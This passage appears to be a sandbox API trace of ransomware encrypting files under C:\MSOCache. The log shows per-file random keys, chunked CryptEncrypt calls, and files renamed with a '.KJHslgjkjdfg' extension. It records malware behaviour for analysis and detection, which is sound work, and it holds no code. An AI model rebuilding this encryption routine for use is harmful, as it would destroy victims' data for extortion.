CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.181] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.181] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.182] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.182] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.197] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.200] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.201] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.201] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.213] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.216] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.216] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.216] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.217] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.217] SetEndOfFile (hFile=0x124) returned 1 [0163.219] GetProcessHeap () returned 0x2ef0000 [0163.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.219] GetProcessHeap () returned 0x2ef0000 [0163.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.220] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.kjhslgjkjdfg")) returned 1 [0163.220] CloseHandle (hObject=0x124) returned 1 [0163.220] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0163.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.224] GetProcessHeap () returned 0x2ef0000 [0163.224] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.224] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.224] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.228] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.228] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.228] GetProcessHeap () returned 0x2ef0000 [0163.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.228] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.228] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.228] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.228] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.228] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.228] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.229] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.229] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.229] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.229] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x5ac, lpOverlapped=0x0) returned 1 [0163.229] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0) returned 1 [0163.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.229] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0163.229] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.229] SetEndOfFile (hFile=0x124) returned 1 [0163.232] GetProcessHeap () returned 0x2ef0000 [0163.232] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.232] GetProcessHeap () returned 0x2ef0000 [0163.232] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.232] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0163.234] CloseHandle (hObject=0x124) returned 1 [0163.235] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0163.235] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.241] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=8265165) returned 1 [0163.241] GetProcessHeap () returned 0x2ef0000 [0163.241] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.241] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.241] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x3, lpOverlapped=0x0) returned 1 [0163.269] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.269] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.269] GetProcessHeap () returned 0x2ef0000 [0163.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0163.269] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4d8*=0x30) returned 1 [0163.269] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.269] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f4*=0x30, lpOverlapped=0x0) returned 1 [0163.269] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.269] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.270] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.270] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.270] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.270] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.270] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.270] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.270] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.278] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.283] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.283] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.284] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.284] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.284] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.290] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.293] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.294] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.294] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.300] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.303] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.303] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.304] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.304] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.304] SetEndOfFile (hFile=0x124) returned 1 [0163.308] GetProcessHeap () returned 0x2ef0000 [0163.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0163.308] GetProcessHeap () returned 0x2ef0000 [0163.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.308] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.kjhslgjkjdfg")) returned 1 [0163.308] CloseHandle (hObject=0x124) returned 1 [0163.308] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0163.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.310] GetProcessHeap () returned 0x2ef0000 [0163.310] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.310] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.310] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.310] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.310] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.310] GetProcessHeap () returned 0x2ef0000 [0163.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0163.311] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0163.311] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.311] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0163.313] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.313] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.313] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.313] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.313] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.313] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.313] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.313] ReadFile (in: hFile=0x124, 